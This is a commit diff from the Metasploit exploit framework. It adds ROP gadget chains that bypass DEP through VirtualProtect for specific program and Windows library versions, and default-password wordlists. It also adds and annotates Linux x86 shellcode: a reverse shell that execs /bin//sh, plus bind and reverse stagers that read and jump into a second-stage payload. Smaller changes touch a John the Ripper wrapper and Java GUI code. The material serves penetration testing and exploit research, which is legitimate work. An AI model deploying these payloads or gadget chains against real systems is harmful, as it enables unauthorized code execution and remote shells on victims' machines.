commit
9d4427270e
Binary file not shown.
|
@ -0,0 +1,80 @@
|
|||
<?xml version="1.0" encoding="ISO-8859-1"?>
|
||||
<db>
|
||||
<rop>
|
||||
<compatibility>
|
||||
<target>11.3.300.257</target>
|
||||
</compatibility>
|
||||
|
||||
<gadgets base="0x10000000">
|
||||
<gadget offset="0x00243043">POP EAX # RETN</gadget>
|
||||
<gadget offset="0x006e3384">ptr to VirtualProtect()</gadget>
|
||||
<gadget offset="0x0044a4aa">MOV EAX,DWORD PTR DS:[EAX] # RETN</gadget>
|
||||
<gadget offset="0x003d54df">XCHG EAX,ESI # RETN</gadget>
|
||||
<gadget offset="0x005f0b25">POP EBP # RETN</gadget>
|
||||
<gadget offset="0x002ed0f1">jmp esp</gadget>
|
||||
<gadget offset="0x003eb988">POP EBX # RETN</gadget>
|
||||
<gadget value="0x00000400">0x00000400-> ebx</gadget>
|
||||
<gadget offset="0x00662e60">POP EDX # RETN</gadget>
|
||||
<gadget value="0x00000040">0x00000040-> edx</gadget>
|
||||
<gadget offset="0x0058289d">POP ECX # RETN</gadget>
|
||||
<gadget offset="0x00955ebe">Writable location</gadget>
|
||||
<gadget offset="0x00414e84">POP EDI # RETN</gadget>
|
||||
<gadget offset="0x004de801">RETN (ROP NOP)</gadget>
|
||||
<gadget offset="0x0024044c">POP EAX # RETN</gadget>
|
||||
<gadget value="nop">nop</gadget>
|
||||
<gadget offset="0x00627674">PUSHAD # RETN</gadget>
|
||||
</gadgets>
|
||||
</rop>
|
||||
|
||||
<rop>
|
||||
<compatibility>
|
||||
<target>11.3.300.265</target>
|
||||
</compatibility>
|
||||
|
||||
<gadgets base="0x10000000">
|
||||
<gadget offset="0x00487414">POP EAX # RETN</gadget>
|
||||
<gadget offset="0x006e338c">ptr to VirtualProtect()</gadget>
|
||||
<gadget offset="0x00437d39">MOV EAX,DWORD PTR DS:[EAX] # RETN</gadget>
|
||||
<gadget offset="0x0008f9c6">XCHG EAX,ESI # RETN</gadget>
|
||||
<gadget offset="0x000baf77">POP EBP # RETN</gadget>
|
||||
<gadget offset="0x002d8d5c">jmp esp</gadget>
|
||||
<gadget offset="0x00005604">POP EBX # RETN</gadget>
|
||||
<gadget value="0x00000400">0x00000400-> ebx</gadget>
|
||||
<gadget offset="0x0064a4d7">POP EDX # RETN</gadget>
|
||||
<gadget value="0x00000040">0x00000040-> edx</gadget>
|
||||
<gadget offset="0x004087db">POP ECX # RETN</gadget>
|
||||
<gadget offset="0x00955197">Writable location</gadget>
|
||||
<gadget offset="0x005be57f">POP EDI # RETN</gadget>
|
||||
<gadget offset="0x003a0002">RETN (ROP NOP)</gadget>
|
||||
<gadget offset="0x00244a82">POP EAX # RETN</gadget>
|
||||
<gadget value="nop">nop</gadget>
|
||||
<gadget offset="0x004cbc7f">PUSHAD # RETN</gadget>
|
||||
</gadgets>
|
||||
</rop>
|
||||
|
||||
<rop>
|
||||
<compatibility>
|
||||
<target>11.3.300.268</target>
|
||||
</compatibility>
|
||||
|
||||
<gadgets base="0x10000000">
|
||||
<gadget offset="0x0012429b">POP ECX # RETN</gadget>
|
||||
<gadget offset="0x006e438c">ptr to VirtualProtect()</gadget>
|
||||
<gadget offset="0x00481a7d">MOV EAX,DWORD PTR DS:[ECX]</gadget>
|
||||
<gadget offset="0x006ae8d7">XCHG EAX,ESI # RETN</gadget>
|
||||
<gadget offset="0x000a6b69">POP EBP # RETN</gadget>
|
||||
<gadget offset="0x002b95bb">jmp esp</gadget>
|
||||
<gadget offset="0x0027f328">POP EBX # RETN</gadget>
|
||||
<gadget value="0x00000400">0x00000400-> ebx</gadget>
|
||||
<gadget offset="0x00686fe5">POP EDX # RETN</gadget>
|
||||
<gadget value="0x00000040">0x00000040-> edx</gadget>
|
||||
<gadget offset="0x0017e345">POP ECX # RETN</gadget>
|
||||
<gadget offset="0x0092027a">Writable location</gadget>
|
||||
<gadget offset="0x002a394a">POP EDI # RETN</gadget>
|
||||
<gadget offset="0x00593802"># RETN (ROP NOP)</gadget>
|
||||
<gadget offset="0x002447d1">POP EAX # RETN</gadget>
|
||||
<gadget value="nop">nop</gadget>
|
||||
<gadget offset="0x0062857d">PUSHAD # RETN</gadget>
|
||||
</gadgets>
|
||||
</rop>
|
||||
</db>
|
|
@ -0,0 +1,27 @@
|
|||
<?xml version="1.0" encoding="ISO-8859-1"?>
|
||||
<db>
|
||||
<rop>
|
||||
<compatibility>
|
||||
<target>*</target>
|
||||
</compatibility>
|
||||
|
||||
<gadgets base="0x7c340000">
|
||||
<gadget offset="0x0000252c">POP EBP # RETN</gadget>
|
||||
<gadget offset="0x0000252c">skip 4 bytes</gadget>
|
||||
<gadget offset="0x0002c55a">POP EBX # RETN</gadget>
|
||||
<gadget value="0x00000400">0x00000400-> ebx</gadget>
|
||||
<gadget offset="0x00005249">POP EDX # RETN</gadget>
|
||||
<gadget value="0x00000040">0x00000040-> edx</gadget>
|
||||
<gadget offset="0x000011c0">POP ECX # RETN</gadget>
|
||||
<gadget offset="0x00051897">Writable location</gadget>
|
||||
<gadget offset="0x0000b8d7">POP EDI # RETN</gadget>
|
||||
<gadget offset="0x00006c0b">RETN (ROP NOP)</gadget>
|
||||
<gadget offset="0x00026fa6">POP ESI # RETN</gadget>
|
||||
<gadget offset="0x000015a2">JMP [EAX]</gadget>
|
||||
<gadget offset="0x000362fb">POP EAX # RETN</gadget>
|
||||
<gadget offset="0x0003a151">ptr to VirtualProtect()</gadget>
|
||||
<gadget offset="0x00038c81">PUSHAD # ADD AL,0EF # RETN</gadget>
|
||||
<gadget offset="0x00005c30">ptr to 'push esp # ret</gadget>
|
||||
</gadgets>
|
||||
</rop>
|
||||
</db>
|
|
@ -0,0 +1,56 @@
|
|||
<?xml version="1.0" encoding="ISO-8859-1"?>
|
||||
<db>
|
||||
<rop>
|
||||
<compatibility>
|
||||
<target>WINDOWS XP SP2</target>
|
||||
<target>WINDOWS XP SP3</target>
|
||||
</compatibility>
|
||||
|
||||
<gadgets base="0x77c10000">
|
||||
<gadget offset="0x0002ee15">POP EBP # RETN</gadget>
|
||||
<gadget offset="0x0002ee15">skip 4 bytes</gadget>
|
||||
<gadget offset="0x0003fa1c">POP EBX # RETN</gadget>
|
||||
<gadget value="0x00000400">0x00000400-> ebx</gadget>
|
||||
<gadget offset="0x00040d13">POP EDX # RETN</gadget>
|
||||
<gadget value="0x00000040">0x00000040-> edx</gadget>
|
||||
<gadget offset="0x0002eeef">POP ECX # RETN</gadget>
|
||||
<gadget offset="0x0004d9bb">Writable location</gadget>
|
||||
<gadget offset="0x0001a88c">POP EDI # RETN</gadget>
|
||||
<gadget offset="0x00029f92">RETN (ROP NOP)</gadget>
|
||||
<gadget offset="0x0002a184">POP ESI # RETN</gadget>
|
||||
<gadget offset="0x0001aacc">JMP [EAX]</gadget>
|
||||
<gadget offset="0x0002b860">POP EAX # RETN</gadget>
|
||||
<gadget offset="0x00001120">ptr to VirtualProtect()</gadget>
|
||||
<gadget offset="0x00002df9">PUSHAD # RETN</gadget>
|
||||
<gadget offset="0x00025459">ptr to 'push esp # ret</gadget>
|
||||
</gadgets>
|
||||
</rop>
|
||||
|
||||
<rop>
|
||||
<compatibility>
|
||||
<target>WINDOWS SERVER 2003 SP1</target>
|
||||
<target>WINDOWS SERVER 2003 SP2</target>
|
||||
</compatibility>
|
||||
|
||||
<gadgets base="0x77ba0000">
|
||||
<gadget offset="0x0003eebf">POP EAX # RETN</gadget>
|
||||
<gadget offset="0x00001114">ptr to VirtualProtect()</gadget>
|
||||
<gadget offset="0x0001f244">MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN</gadget>
|
||||
<gadget value="junk">Filler</gadget>
|
||||
<gadget offset="0x00010c86">XCHG EAX,ESI # RETN</gadget>
|
||||
<gadget offset="0x00026320">POP EBP # RETN</gadget>
|
||||
<gadget offset="0x00042265">PUSH ESP # RETN</gadget>
|
||||
<gadget offset="0x000385b7">POP EBX # RETN</gadget>
|
||||
<gadget value="0x00000400">0x00000400-> ebx</gadget>
|
||||
<gadget offset="0x0003e4fc">POP EDX # RETN</gadget>
|
||||
<gadget value="0x00000040">0x00000040-> edx</gadget>
|
||||
<gadget offset="0x000330fb">POP ECX # RETN</gadget>
|
||||
<gadget offset="0x0004ff56">Writable location</gadget>
|
||||
<gadget offset="0x00038a92">POP EDI # RETN</gadget>
|
||||
<gadget offset="0x00037d82">RETN (ROP NOP)</gadget>
|
||||
<gadget offset="0x0003eebf">POP EAX # RETN</gadget>
|
||||
<gadget value="nop">nop</gadget>
|
||||
<gadget offset="0x00046591">PUSHAD # ADD AL,0EF # RETN</gadget>
|
||||
</gadgets>
|
||||
</rop>
|
||||
</db>
|
|
@ -0,0 +1,3 @@
|
|||
calvin
|
||||
123456
|
||||
password
|
|
@ -0,0 +1,3 @@
|
|||
root
|
||||
user1
|
||||
admin
|
|
@ -13,6 +13,7 @@ import java.awt.event.FocusListener;
|
|||
import java.awt.event.MouseAdapter;
|
||||
import java.awt.event.MouseEvent;
|
||||
import java.awt.event.MouseMotionAdapter;
|
||||
import java.awt.event.MouseMotionListener;
|
||||
import java.awt.event.WindowEvent;
|
||||
import java.awt.event.WindowFocusListener;
|
||||
import java.util.ArrayList;
|
||||
|
@ -49,7 +50,16 @@ public class DraggableTabbedPane extends JTabbedPane{
|
|||
static{
|
||||
//Set up placeholder window. (Shows when moving tabs)
|
||||
window = new JWindow();
|
||||
window.getContentPane().add(new JLabel("Moving", JLabel.CENTER), java.awt.BorderLayout.CENTER);
|
||||
JLabel lab = new JLabel("Moving", JLabel.CENTER);
|
||||
lab.addMouseMotionListener(new MouseMotionListener() {
|
||||
public void mouseMoved(MouseEvent e) {
|
||||
window.setVisible(false);
|
||||
}
|
||||
public void mouseDragged(MouseEvent e) {
|
||||
window.setVisible(false);
|
||||
}
|
||||
});
|
||||
window.getContentPane().add(lab, java.awt.BorderLayout.CENTER);
|
||||
window.setSize(300, 300);
|
||||
}
|
||||
|
||||
|
@ -333,7 +343,7 @@ public class DraggableTabbedPane extends JTabbedPane{
|
|||
//Set up dragging listener
|
||||
addMouseMotionListener(new MouseMotionAdapter() {
|
||||
public void mouseDragged(MouseEvent e) {
|
||||
if (!dragging) {
|
||||
if (!dragging && ((e.getModifiersEx() & MouseEvent.BUTTON1_DOWN_MASK) != 0)) {
|
||||
// Gets the tab index based on the mouse position
|
||||
int tabNumber = getUI().tabForCoordinate(DraggableTabbedPane.this, e.getX(), e.getY());
|
||||
if (tabNumber < 0)
|
||||
|
|
|
@ -114,7 +114,8 @@ public abstract class RpcConnection {
|
|||
* @throws IOException
|
||||
*/
|
||||
protected void disconnect() throws SocketException, IOException{
|
||||
connection.close();
|
||||
if(connection != null)
|
||||
connection.close();
|
||||
}
|
||||
|
||||
/**
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
STAGERS=stager_sock_bind stager_sock_bind_udp stager_sock_bind_icmp \
|
||||
STAGERS=stager_sock_bind stager_sock_bind6 stager_sock_bind_udp stager_sock_bind_icmp \
|
||||
stager_egghunt stager_sock_find stager_sock_reverse \
|
||||
stager_sock_reverse_icmp stager_sock_reverse_udp \
|
||||
stager_sock_reverse_udp_dns
|
||||
|
@ -30,8 +30,22 @@ all: $(SINGLE) $(STAGES) $(STAGERS)
|
|||
sed -e 's/\([0123456789abcdef][0123456789abcdef]\)/\\x\1/g' \
|
||||
-e 's/^/"/;s/$$/"/;$$ b;s/$$/+/;' > $@
|
||||
|
||||
# ljust(23) because the longest instruction is usually 5 bytes which takes 22
|
||||
# characters including quotes
|
||||
%.disasm: %.bin
|
||||
@ndisasm -b 32 $< > $@
|
||||
@ndisasm -b 32 $< > $*.tmp
|
||||
@ruby -p -a -e ' \
|
||||
$$F.shift; \
|
||||
$$F[0].tap { |s| \
|
||||
s.tr! "A-F", "a-f"; \
|
||||
t=s.dup; \
|
||||
s.clear; \
|
||||
s<<("\""+t.scan(/../).map{|b|"\\x#{b}"}.join+"\"").ljust(23); \
|
||||
STDIN.eof? ? s<< " # " : s<< "+# "; \
|
||||
}; \
|
||||
$$_ = $$F.join(" ") + "\n"; \
|
||||
' < $*.tmp > $@
|
||||
@rm $*.tmp
|
||||
|
||||
$(SINGLE) $(STAGES) $(STAGERS): %: %.o
|
||||
@echo "Building $@... (`wc -c $(<:.o=.bin)|awk '{print $$1}'` bytes)"
|
||||
|
|
|
@ -31,49 +31,52 @@ GLOBAL _start
|
|||
|
||||
_start:
|
||||
xor ebx, ebx
|
||||
mul ebx
|
||||
|
||||
socket:
|
||||
push ebx
|
||||
inc ebx
|
||||
push ebx
|
||||
push byte 0x2
|
||||
push byte 0x66
|
||||
pop eax
|
||||
mov ecx, esp
|
||||
push ebx ; protocol = 0 = first that matches this type and domain, i.e. tcp
|
||||
inc ebx ; 1 = SYS_SOCKET
|
||||
push ebx ; type = 1 = SOCK_STREAM
|
||||
push byte 0x2 ; domain = 2 = AF_INET
|
||||
mov ecx, esp ; socketcall args
|
||||
mov al, 0x66
|
||||
int 0x80
|
||||
xchg eax, ebx
|
||||
|
||||
; int dup2(int oldfd, int newfd);
|
||||
dup:
|
||||
pop ecx
|
||||
pop ecx ; oldfd = 2, aka stderr
|
||||
; newfd is in ebx, set above, and doesn't change until we're ready to call
|
||||
; connect(2)
|
||||
dup_loop:
|
||||
mov al, 0x3f
|
||||
mov al, 0x3f ; __NR_dup2
|
||||
int 0x80
|
||||
dec ecx
|
||||
jns dup_loop
|
||||
|
||||
; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
|
||||
connect:
|
||||
pop ebx
|
||||
pop edx
|
||||
push dword 0x0100007f
|
||||
push word 0xbfbf
|
||||
inc ebx
|
||||
push bx
|
||||
mov ecx, esp
|
||||
mov al, 0x66
|
||||
push eax
|
||||
push ecx
|
||||
push ebx
|
||||
mov ecx, esp
|
||||
inc ebx
|
||||
push dword 0x0100007f ; addr->sin_addr = 127.0.0.1
|
||||
push 0xbfbf0002 ; addr->sin_port = 49087
|
||||
; addr->sin_family = 2 = AF_INET
|
||||
mov ecx, esp ; ecx = addr
|
||||
mov al, 0x66 ; __NR_socketcall
|
||||
push eax ; addrlen
|
||||
push ecx ; addr
|
||||
push ebx ; sockfd
|
||||
mov bl, 0x3 ; 3 = SYS_CONNECT
|
||||
mov ecx, esp ; socketcall args
|
||||
int 0x80
|
||||
|
||||
; int execve(const char *filename, char *const argv[], char *const envp[]);
|
||||
execve:
|
||||
push edx
|
||||
push edx ; NULL terminator for "/bin//sh"
|
||||
push dword 0x68732f2f
|
||||
push dword 0x6e69622f
|
||||
mov ebx, esp
|
||||
push edx
|
||||
push ebx
|
||||
mov ecx, esp
|
||||
mov al, 0x0b
|
||||
mov ebx, esp ; filename
|
||||
push edx ; NULL terminator for argv
|
||||
push ebx ; pointer to "/bin//sh"
|
||||
mov ecx, esp ; argv = pointer to pointer to "/bin//sh"
|
||||
mov al, 0x0b ; __NR_execve
|
||||
int 0x80
|
||||
|
||||
|
|
|
@ -1,14 +1,16 @@
|
|||
;;
|
||||
;
|
||||
;
|
||||
; Name: stager_sock_bind
|
||||
; Qualities: Can Have Nulls
|
||||
; Version: $Revision: 1607 $
|
||||
; License:
|
||||
; License:
|
||||
;
|
||||
; This file is part of the Metasploit Exploit Framework
|
||||
; and is subject to the same licenses and copyrights as
|
||||
; the rest of this package.
|
||||
;
|
||||
; With enhancements from the unixasm project by Ramon de Carvalho Valle
|
||||
;
|
||||
; Description:
|
||||
;
|
||||
; Implementation of a Linux portbind TCP stager.
|
||||
|
@ -32,56 +34,89 @@ BITS 32
|
|||
GLOBAL _start
|
||||
|
||||
_start:
|
||||
xor ebx, ebx
|
||||
|
||||
socket:
|
||||
push ebx
|
||||
inc ebx
|
||||
push ebx
|
||||
push byte 0x2
|
||||
push byte 0x66
|
||||
; int mprotect(const void *addr, size_t len, int prot);
|
||||
mprotect:
|
||||
push byte 0x7d ; __NR_mprotect
|
||||
pop eax
|
||||
cdq
|
||||
mov ecx, esp
|
||||
mov dl, 0x7 ; prot = 7 = PROT_READ | PROT_WRITE | PROT_EXEC
|
||||
mov ecx, 0x1000 ; len = PAGE_SIZE (on most systems)
|
||||
mov ebx, esp ; addr
|
||||
and bx, 0xf000 ; ensure that addr is page-aligned
|
||||
int 0x80
|
||||
xchg eax, esi
|
||||
|
||||
xor ebx, ebx ; ebx is the call argument to socketcall
|
||||
mul ebx ; set edx:eax to 0, we'll need them in a minute
|
||||
|
||||
; int socket(int domain, int type, int protocol);
|
||||
socket:
|
||||
push ebx ; protocol = 0 = first that matches this type and domain, i.e. tcp
|
||||
inc ebx ; 1 = SYS_SOCKET
|
||||
push ebx ; type = 1 = SOCK_STREAM
|
||||
push byte 0x2 ; domain = 2 = AF_INET
|
||||
mov ecx, esp ; socketcall args
|
||||
mov al, 0x66 ; __NR_socketcall
|
||||
int 0x80
|
||||
; Server socket is now in eax. We'll push it to the stack in a sec and then
|
||||
; just reference it from there, no need to store it in a register
|
||||
|
||||
; int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
|
||||
bind:
|
||||
inc ebx
|
||||
push edx
|
||||
push word 0xbfbf ; port: 49087
|
||||
push bx
|
||||
mov ecx, esp
|
||||
push byte 0x66
|
||||
pop ebx ; 2 = SYS_BIND (this was PF_INET for the call to socket)
|
||||
pop esi ; 1 = junk - this keeps ecx pointing to the right place
|
||||
; set up the sockaddr
|
||||
push edx ; addr->sin_addr = 0 = inet_addr("0.0.0.0")
|
||||
push 0xbfbf0002 ; addr->sin_port = 0xbfbf
|
||||
; addr->sin_family = 2 = AF_INET
|
||||
push byte 0x10 ; addrlen
|
||||
push ecx ; addr (ecx still points to the right place on the stack)
|
||||
push eax ; sockfd ; return value from socket(2) above
|
||||
mov ecx, esp ; socketcall args
|
||||
push byte 0x66 ; __NR_socketcall
|
||||
pop eax
|
||||
push eax
|
||||
push ecx
|
||||
push esi
|
||||
mov ecx, esp
|
||||
int 0x80
|
||||
|
||||
listen:
|
||||
mov al, 0x66
|
||||
shl ebx, 1
|
||||
shl ebx, 1 ; 4 = SYS_LISTEN
|
||||
mov al, 0x66 ; __NR_socketcall
|
||||
int 0x80
|
||||
|
||||
; At this point the stack will look like this:
|
||||
;
|
||||
; [ sockfd ] <-- esp, ecx
|
||||
; [ addr ] # pointer to below on the stack
|
||||
; [ addrlen = 0x66 ]
|
||||
; [ 0xbfbf0002 ] <-- *addr
|
||||
; [ 0x00000000 ] inet_addr("0.0.0.0")
|
||||
;
|
||||
; Since addrlen is ignored if addr is null, we can set esp+4 to NULL and use
|
||||
; the sockfd that's already on the stack as an argument to accept(2), thus
|
||||
; avoiding having to set up a full list of args. Conveniently,
|
||||
; mov [ecx+4], edx
|
||||
; is three bytes long, whereas the old sequence:
|
||||
; push edx ; addr = NULL
|
||||
; push edx ; addrlen = NULL
|
||||
; push esi ; sockfd
|
||||
; mov ecx, esp ; socketcall args
|
||||
; weighs in at 5
|
||||
|
||||
|
||||
; int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
|
||||
accept:
|
||||
push edx
|
||||
push edx
|
||||
push esi
|
||||
inc ebx
|
||||
mov ecx, esp
|
||||
mov al, 0x66
|
||||
inc ebx ; 5 = SYS_ACCEPT
|
||||
mov al, 0x66 ; __NR_socketcall
|
||||
mov [ecx+4], edx
|
||||
int 0x80
|
||||
xchg eax, ebx
|
||||
xchg eax, ebx ; client socket is now in ebx
|
||||
|
||||
%ifndef USE_SINGLE_STAGE
|
||||
|
||||
read:
|
||||
recv:
|
||||
mov dh, 0xc
|
||||
mov al, 0x3
|
||||
int 0x80
|
||||
mov edi, ebx ; not necessary if second stages use ebx instead of edi
|
||||
mov edi, ebx ; not necessary if second stages use ebx instead of edi
|
||||
; for fd
|
||||
jmp ecx
|
||||
|
||||
|
|
|
@ -0,0 +1,113 @@
|
|||
;;
|
||||
;
|
||||
; Name: stager_sock_bind6
|
||||
; Qualities: Can Have Nulls
|
||||
; Version: $Revision: 1607 $
|
||||
; License:
|
||||
;
|
||||
; This file is part of the Metasploit Exploit Framework
|
||||
; and is subject to the same licenses and copyrights as
|
||||
; the rest of this package.
|
||||
;
|
||||
; Description:
|
||||
;
|
||||
; Implementation of a Linux portbind TCP stager.
|
||||
;
|
||||
; File descriptor in edi.
|
||||
;
|
||||
; Meta-Information:
|
||||
;
|
||||
; meta-shortname=Linux Bind TCP Stager
|
||||
; meta-description=Listen on a port for a connection and run a second stage
|
||||
; meta-authors=skape <mmiller [at] hick.org>; egypt <egypt [at] metasploit.com>
|
||||
; meta-os=linux
|
||||
; meta-arch=ia32
|
||||
; meta-category=stager
|
||||
; meta-connection-type=bind
|
||||
; meta-name=bind_ipv6_tcp
|
||||
; meta-path=lib/Msf/PayloadComponent/Linux/ia32/BindStager.pm
|
||||
;;
|
||||
BITS 32
|
||||
GLOBAL _start
|
||||
|
||||
_start:
|
||||
|
||||
; int mprotect(const void *addr, size_t len, int prot);
|
||||
mprotect:
|
||||
push byte 0x7d ; __NR_mprotect
|
||||
pop eax
|
||||
cdq
|
||||
mov dl, 0x7 ; prot = 7 = PROT_READ | PROT_WRITE | PROT_EXEC
|
||||
mov ecx, 0x1000 ; len = PAGE_SIZE (on most systems)
|
||||
mov ebx, esp ; addr
|
||||
and bx, 0xf000 ; ensure that addr is page-aligned
|
||||
int 0x80
|
||||
|
||||
xor ebx, ebx ; ebx is the call argument to socketcall
|
||||
mul ebx ; set edx:eax to 0, we'll need them in a minute
|
||||
|
||||
; int socket(int domain, int type, int protocol);
|
||||
socket:
|
||||
push ebx ; protocol = 0 = first that matches this type and domain, i.e. tcp
|
||||
inc ebx ; 1 = SYS_SOCKET
|
||||
push ebx ; type = 1 = SOCK_STREAM
|
||||
push byte 0xa ; domain = 0xa = AF_INET6
|
||||
mov ecx, esp ; socketcall args
|
||||
mov al, 0x66 ; __NR_socketcall
|
||||
int 0x80
|
||||
; Server socket is now in eax. We'll push it to the stack in a sec and then
|
||||
; just reference it from there, no need to store it in a register
|
||||
|
||||
; int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
|
||||
bind:
|
||||
inc ebx ; 2 = SYS_BIND (this was PF_INET for the call to socket)
|
||||
; set up the sockaddr
|
||||
|
||||
push edx ; addr->sin6_scopeid = 0
|
||||
push edx ; addr->sin6_addr = inet_pton("::0")
|
||||
push edx ; ...
|
||||
push edx ; ...
|
||||
push edx ; ...
|
||||
push edx ; addr->flowinfo = 0
|
||||
push 0xbfbf000a ; addr->sin6_port = 0xbfbf
|
||||
; addr->sin6_family = 0xa = AF_INET6
|
||||
mov ecx, esp ; socketcall args
|
||||
push byte 0x1c ; addrlen
|
||||
push ecx ; addr
|
||||
push eax ; sockfd ; return value from socket(2) above
|
||||
mov ecx, esp ; socketcall args
|
||||
push byte 0x66 ; __NR_socketcall
|
||||
pop eax
|
||||
int 0x80
|
||||
|
||||
listen:
|
||||
shl ebx, 1 ; 4 = SYS_LISTEN
|
||||
mov al, 0x66 ; __NR_socketcall
|
||||
int 0x80
|
||||
|
||||
; int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
|
||||
accept:
|
||||
inc ebx ; 5 = SYS_ACCEPT
|
||||
mov al, 0x66 ; __NR_socketcall
|
||||
mov [ecx+4], edx
|
||||
int 0x80
|
||||
xchg eax, ebx
|
||||
|
||||
%ifndef USE_SINGLE_STAGE
|
||||
|
||||
; ssize_t read(int fd, void *buf, size_t count);
|
||||
recv:
|
||||
; fd = ebx
|
||||
; buf = ecx is pointing somewhere in the stack
|
||||
mov dh, 0xc ; count = 0xc00
|
||||
mov al, 0x3 ; __NR_read
|
||||
int 0x80
|
||||
mov edi, ebx ; not necessary if second stages use ebx instead of edi
|
||||
; for fd
|
||||
jmp ecx
|
||||
|
||||
%else
|
||||
%ifdef FD_REG_EDI
|
||||
mov edi, ebx
|
||||
%endif
|
||||
%endif
|
|
@ -26,48 +26,62 @@
|
|||
; meta-connection-type=reverse
|
||||
; meta-name=reverse_tcp
|
||||
; meta-basemod=Msf::PayloadComponent::ReverseConnection
|
||||
; meta-offset-lhost=0x11
|
||||
; meta-offset-lport=0x17
|
||||
; meta-offset-lhost=0x12
|
||||
; meta-offset-lport=0x19
|
||||
;;
|
||||
BITS 32
|
||||
GLOBAL _start
|
||||
|
||||
_start:
|
||||
xor ebx, ebx
|
||||
mul ebx
|
||||
|
||||
; int socket(int domain, int type, int protocol);
|
||||
socket:
|
||||
push ebx
|
||||
inc ebx
|
||||
push ebx
|
||||
push byte 0x2
|
||||
push byte 0x66
|
||||
pop eax
|
||||
mov ecx, esp
|
||||
push ebx ; protocol = 0 = first that matches this type and domain, i.e. tcp
|
||||
inc ebx ; 1 = SYS_SOCKET
|
||||
push ebx ; type = 1 = SOCK_STREAM
|
||||
push byte 0x2 ; domain = 2 = AF_INET
|
||||
mov al, 0x66 ; __NR_socketcall
|
||||
mov ecx, esp ; socketcall args
|
||||
int 0x80
|
||||
xchg eax, edi
|
||||
|
||||
; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
|
||||
connect:
|
||||
pop ebx
|
||||
push dword 0x0100007f ; ip: 127.0.0.1
|
||||
push word 0xbfbf ; port: 49087
|
||||
push bx
|
||||
mov ecx, esp
|
||||
push byte 0x66
|
||||
push dword 0x0100007f ; addr->sin_addr = 127.0.0.1
|
||||
push 0xbfbf0002 ; addr->sin_port = 49087
|
||||
; addr->sin_family = 2 = AF_INET
|
||||
mov ecx, esp ; ecx = addr
|
||||
push byte 0x66 ; __NR_socketcall
|
||||
pop eax
|
||||
push eax
|
||||
push ecx
|
||||
push edi
|
||||
mov ecx, esp
|
||||
inc ebx
|
||||
push eax ; addrlen
|
||||
push ecx ; addr
|
||||
push edi ; sockfd
|
||||
mov ecx, esp ; socketcall args
|
||||
inc ebx ; 3 = SYS_CONNECT
|
||||
int 0x80
|
||||
|
||||
%ifndef USE_SINGLE_STAGE
|
||||
|
||||
; int mprotect(const void *addr, size_t len, int prot);
|
||||
mprotect:
|
||||
mov dl, 0x7 ; prot = 7 = PROT_READ | PROT_WRITE | PROT_EXEC
|
||||
mov ecx, 0x1000 ; len = PAGE_SIZE (on most systems)
|
||||
mov ebx, esp ; addr
|
||||
shr ebx, 12 ; ensure that addr is page-aligned
|
||||
shl ebx, 12
|
||||
mov al, 0x7d ; __NR_mprotect
|
||||
int 0x80
|
||||
|
||||
; ssize_t read(int fd, void *buf, size_t count);
|
||||
recv:
|
||||
pop ebx
|
||||
pop ebx ; sockfd
|
||||
mov ecx, esp ; buf
|
||||
cdq
|
||||
mov dh, 0xc
|
||||
mov al, 0x3
|
||||
mov dh, 0xc ; count = 0xc00
|
||||
mov al, 0x3 ; __NR_read
|
||||
int 0x80
|
||||
jmp ecx
|
||||
|
||||
|
|
|
@ -179,10 +179,10 @@ module Auxiliary::JohnTheRipper
|
|||
end
|
||||
|
||||
def john_binary_path
|
||||
path = nil
|
||||
if datastore['JOHN_PATH'] and ::File.file?(datastore['JOHN_PATH'])
|
||||
path = datastore['JOHN_PATH']
|
||||
::FileUtils.chmod(0755, path) rescue nil
|
||||
path
|
||||
end
|
||||
|
||||
if not @run_path
|
||||
|
@ -191,13 +191,18 @@ module Auxiliary::JohnTheRipper
|
|||
else
|
||||
path = ::File.join(john_base_path, "john")
|
||||
::FileUtils.chmod(0755, path) rescue nil
|
||||
path
|
||||
end
|
||||
else
|
||||
path = ::File.join(john_base_path, @run_path)
|
||||
::FileUtils.chmod(0755, path) rescue nil
|
||||
path
|
||||
end
|
||||
|
||||
if path and ::File.exists?(path)
|
||||
return path
|
||||
end
|
||||
|
||||
path = Rex::FileUtils.find_full_path("john") ||
|
||||
Rex::FileUtils.find_full_path("john.exe")
|
||||
end
|
||||
|
||||
def john_base_path
|
||||
|
@ -287,7 +292,7 @@ module Auxiliary::JohnTheRipper
|
|||
|
||||
seed = []
|
||||
#Seed the wordlist with Database , Table, and Instance Names
|
||||
|
||||
|
||||
count = 0
|
||||
schemas = myworkspace.notes.where('ntype like ?', '%.schema%')
|
||||
unless schemas.nil? or schemas.empty?
|
||||
|
@ -318,10 +323,10 @@ module Auxiliary::JohnTheRipper
|
|||
count = 0
|
||||
|
||||
# Seed the wordlist with usernames, passwords, and hostnames
|
||||
|
||||
myworkspace.hosts.find(:all).each do |o|
|
||||
if o.name
|
||||
seed << john_expand_word( o.name )
|
||||
|
||||
myworkspace.hosts.find(:all).each do |o|
|
||||
if o.name
|
||||
seed << john_expand_word( o.name )
|
||||
count += 1
|
||||
end
|
||||
end
|
||||
|
@ -331,11 +336,11 @@ module Auxiliary::JohnTheRipper
|
|||
|
||||
myworkspace.creds.each do |o|
|
||||
if o.user
|
||||
seed << john_expand_word( o.user )
|
||||
seed << john_expand_word( o.user )
|
||||
count +=1
|
||||
end
|
||||
if (o.pass and o.ptype !~ /hash/)
|
||||
seed << john_expand_word( o.pass )
|
||||
seed << john_expand_word( o.pass )
|
||||
count += 1
|
||||
end
|
||||
end
|
||||
|
@ -343,8 +348,8 @@ module Auxiliary::JohnTheRipper
|
|||
count = 0
|
||||
|
||||
# Grab any known passwords out of the john.pot file
|
||||
john_cracked_passwords.values do |v|
|
||||
seed << v
|
||||
john_cracked_passwords.values do |v|
|
||||
seed << v
|
||||
count += 1
|
||||
end
|
||||
print_status "Seeding with cracked passwords from John....#{count} words added"
|
||||
|
@ -352,7 +357,7 @@ module Auxiliary::JohnTheRipper
|
|||
|
||||
#Grab the default John Wordlist
|
||||
john = File.open(john_wordlist_path, "rb")
|
||||
john.each_line do |line|
|
||||
john.each_line do |line|
|
||||
seed << line.chomp
|
||||
count += 1
|
||||
end
|
||||
|
